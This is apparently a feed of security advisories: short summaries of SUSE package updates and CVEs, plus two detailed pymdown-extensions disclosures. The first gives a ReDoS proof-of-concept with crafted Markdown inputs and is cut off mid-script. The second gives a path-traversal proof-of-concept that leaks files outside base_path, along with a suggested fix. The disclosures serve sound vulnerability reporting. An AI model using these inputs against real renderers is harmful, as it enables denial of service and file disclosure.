A security update for kak-lsp addresses multiple issues including compatibility regressions, hangs when editing files without trailing newlines, buffer synchronization corruption related to .editorconfig settings, and updates to default language servers. The update also refreshes the vendored crate registry and confirms that kak-lsp is not affected by several known CVEs in dependencies. Various fixes and feature enhancements are included up to version 21.0.2.
This update for libssh2_org fixes the following issues:
- CVE-2025-15661: out-of-bounds heap read vulnerability in the `sftp_symlink()` function in `src/sftp.c` (bsc#1268546).
- CVE-2026-7598: integer overflow in function `userauth_password` of file `src/userauth.c` (bsc#1263890).
- CVE-2026-58050: heap buffer overflow due to missing bounds check in attribute count of publickey-subsystem response
(bsc#1269568).
- CVE-2026-58051: uninitialized pointer freed when malformed responses are sent by an SSH server (bsc#1269567).
- CVE-2026-66032: arbitrary code execution via double-free in SFTP session (bsc#1272737).
- CVE-2026-66033: denial of service via integer underflow in AES-GCM cipher negotiation (bsc#1272736).
- CVE-2026-66034: information disclosure and potential arbitrary code execution via heap out-of-bounds read
(bsc#1272735).
- CVE-2026-66035: arbitrary code execution via heap buffer overflow during SSH negotiation (bsc#1272734).
This security update for suseconnect-ng upgrades the software to version 1.23.0, addressing multiple issues including improved product migration handling, updated Go version for building, stricter flag parsing, consistent interactive handling, and enhanced package collection capabilities. It also allows deregistration when a subscribed registration code has expired. No specific CVE or exploit details are provided.
This security update for gitoxide addresses multiple vulnerabilities and bugs, including a critical command execution bypass via crafted .gitmodules files (CVE-2026-40034), submodule name validation bypass leading to credential disclosure, and denial-of-service issues in pack data processing. Additional fixes prevent HTTP credential leakage on redirects and improve submodule handling. The update also includes new features and general improvements. No known exploits are reported in the wild.
A security update for Gleam version 1.18.1 addresses a vulnerability (CVE-2026-59247) involving insufficient verification of data authenticity. This flaw could allow a man-in-the-middle (MITM) attacker to substitute forged Hex package contents during dependency resolution. The update also sets the minimum required Erlang version to 26 and includes various bug fixes and performance improvements.
A security update for SUSE's nodejs24 addresses multiple vulnerabilities including SSRF bypass, HTTP/2 memory limit bypass, permission model flaws, heap-use-after-free, HTTPS agent issues, DNS resolution errors, request smuggling, and crash conditions. The update upgrades nodejs24 to version 24.18.1 to fix these issues.
This update for postgresql-jdbc fixes the following issue
- CVE-2026-42198: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication (bsc#1264174).
Multiple security issues were addressed in the libsdb2_5_0-6.2.0-1.1 package included in the GA media of openSUSE Tumbleweed. These fixes resolve vulnerabilities present in prior versions of this package. No specific details about the nature of the vulnerabilities or affected versions are provided.
Multiple security issues have been addressed in the kernel-devel-7.1.7-1.1 package for openSUSE Tumbleweed on the GA media. These fixes pertain to the SUSE kernel development packages for the aarch64 architecture. The vulnerabilities are collectively resolved in this specific package version.
### Summary
Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's **default configuration**
and are reachable through the documented public API. The `caret`/`tilde`/
`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547
(first released in **10.13**, Dec 2024) — earlier releases used a linear
`(.+?)` / `([^\s]+?)` content group — and is present through **11.0** (latest);
`magiclink`'s host pattern is long-standing and affects effectively all releases.
Likely **CWE-1333 (Inefficient Regular Expression Complexity)**.
This is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,
`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a `.`/`\.`
typo).
### Details
Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into `{2,}`-sized pieces in
exponentially many ways, wrapped in a lazy `+?` that must fail before the engine
can give up:
| Extension | Regex | Location (`11.0`) |
|---|---|---|
| `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` |
| `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` |
| `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |
| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |
`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):
```python
SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'
```
The content group `(?:[^\^\s]|\^{2,})+?` matches a run of carets only via the
`\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in
exponentially many combinations; when no caret can serve as a valid closing
delimiter (the trailing `(?<![\^\s])(\^)` cannot be satisfied), the engine
explores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2`
(betterem) are the same construct for `~` and `_`. In `betterem` the default
`smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` →
`SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable,
API-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when
`smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce
through the public `markdown.markdown()` pipeline on the tested payload, so a fix
and regression test should target `SMART_UNDER_EM2`.
`pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where
overlapping character classes let a run of dots be grouped exponentially:
```python
(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.'
```
`SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the
default `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is
applied by `MagiclinkPattern` (registered unconditionally at priority 85). In all
four cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted
`src` in default configuration is sufficient to reach the regex.
### PoC
Single self-contained script; runs against the pinned release in an ephemeral
env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time
(a per-render alarm caps each attempt so the script terminates).
```python
import signal
import time
from importlib.metadata import version
import markdown
print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")
CAP = 5.0 # a single render exceeding this is treated as a hang
class Timeout(Exception):
pass
def render(ext, text):
signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
signal.setitimer(signal.ITIMER_REAL, CAP)
t = time.perf_counter()
try:
markdown.markdown(text, extensions=[ext])
return time.perf_counter() - t
except Timeout:
return None
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
"pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44),
"pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44),
"pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44),
"pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}
repro = []
for ext, (evil, benign, ramp, hang) in CASES.
### Summary
The `b64` extension inlines images referenced by `<img src="...">` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents.
This is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI.
### Details
In `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`):
```python
if is_absolute:
file_name = os.path.normpath(path) # absolute src: base_path ignored entirely
else:
file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path
if os.path.exists(file_name):
ext = os.path.splitext(file_name)[1].lower()
for b64_ext in file_types:
if ext in b64_ext:
with open(file_name, "rb") as f: # opened with no containment check
...
```
There is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`.
### PoC
Reproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output.
```python
import base64, os, shutil, tempfile, markdown
root = tempfile.mkdtemp()
base_path = os.path.join(root, "docs"); os.makedirs(base_path)
outside = os.path.join(root, "secret"); os.makedirs(outside)
png = base64.b64decode(
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk"
"+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
)
with open(os.path.join(outside, "secret.png"), "wb") as f:
f.write(png)
md = markdown.Markdown(
extensions=["pymdownx.b64"],
extension_configs={"pymdownx.b64": {"base_path": base_path}},
)
html = md.convert('<img src="../secret/secret.png">')
assert base64.b64encode(png).decode() in html, "not leaked"
print("LEAKED:", html)
```
Output:
```
LEAKED: <p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ..."></p>
```
The base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking.
### Impact
An application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.
### Suggested fix
Resolve the real path and require it to stay within `base_path` before opening:
```python
file_name = os.path.realpath(os.path.join(base_path, path))
base_real = os.path.realpath(base_path)
if file_name != base_real and not file_name.startswith(base_real + os.sep):
return m.group(0) # leave the tag untouched; do not read outside base_path
```
The same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler.
This update for python-Django fixes the following issues:
Changes in python-Django:
- CVE-2026-15307: server-side file-write and request forgery via spatial lookups (bsc#1272997)
- CVE-2026-15337: potential denial-of-service vulnerability in `check_for_language()` (bsc#1272998)
- CVE-2026-15830: potential denial-of-service vulnerability via nested geometry collections (bsc#1272999)
- CVE-2026-15920: potential cross-site scripting via `URLField` values in the admin (bsc#1273000)
A security update for BouncyCastle version 1.85 addresses multiple critical vulnerabilities affecting cryptographic operations, key management, and data integrity. These issues include bypasses, untrusted memory allocations, MAC forgery, improper validation, and denial-of-service risks. The update also repackages certain post-quantum cryptography algorithms and deprecates older versions. This update is critical to maintain the security and integrity of cryptographic functions in affected systems.
CVE-2026-44945 is a critical privilege escalation vulnerability in SUSE Rancher's impersonation middleware. An authenticated user with the default global user role can escalate privileges to gain full administrative access to the Rancher control plane and all downstream clusters it manages. The vulnerability affects Rancher versions from 2.11.0 before 2.11.16, 2.12.0 before 2.12.12, 2.13.0 before 2.13.8, and 2.14.0 before 2.14.2.
CVE-2026-25703 is a high-severity vulnerability in SUSE NeuVector versions up to and including 5.4.9. It involves missing authentication for the critical /network/graph API in the manager component, which can lead to potential information leakage through cached sensitive data.
A security update for Wireshark addresses multiple vulnerabilities including crashes, infinite loops, memory leaks, and potential information disclosure across various protocol dissectors and utilities. The update advances Wireshark to version 4.4.17, fixing issues such as denial of service via infinite loops and crashes in SMB2, UDS, ROHC, IEEE 802.11, SSH, and other protocols, as well as memory leaks and information disclosure in file parsers. These vulnerabilities affect multiple specific versions of Wireshark and related libraries as listed. The update is provided by the SUSE Product Security Team and targets a broad range of affected versions.
Multiple security vulnerabilities were fixed in dnsdist with the update to version 1.9.15. These include issues causing invalid output in the Prometheus endpoint, delays in processing DNS over HTTP/3 queries, stuck outgoing TCP connections, out-of-bounds reads leading to crashes or memory leaks, exceptions causing out-of-memory conditions, improper handling of crafted EDNS OPT records, and denial-of-service via unlimited memory allocation in the internal web server.
Rsyslog versions from 7.5.4 up to but not including 8.2606.0 contain a vulnerability in the optional mmpstrucdata plugin. The vulnerability arises from the parseSD_PARAM function using a fixed-size stack buffer without proper bounds checking, allowing a remote unauthenticated attacker to send an oversized RFC5424 structured-data parameter that causes a stack overwrite. This can lead to a crash and interruption of log collection. Systems not using the plugin or with message size limits below the threshold are not affected. The issue is fixed in version 8.2606.0.
Multiple critical vulnerabilities affecting PHP 8 have been addressed in updates up to version 8.5.9. These include a stack overflow in phar with circular symlinks, an SQL injection vulnerability in ext-pgsql, an out-of-bounds write in bccomp(), and an upgrade to libgd to fix related issues. The vulnerabilities impact various PHP 8 branches prior to their respective fixed versions. A security update is available and should be applied to mitigate these risks.
CVE-2026-55998 is a medium severity vulnerability in SUSE Rancher versions 2.11.0, 2.12.0, 2.13.0, and 2.14.0. The issue arises from an endpoint that retrieves cluster objects before validating tokens, causing different HTTP responses based on the existence of cluster IDs and their configuration. This discrepancy allows attackers to reliably enumerate valid cluster IDs.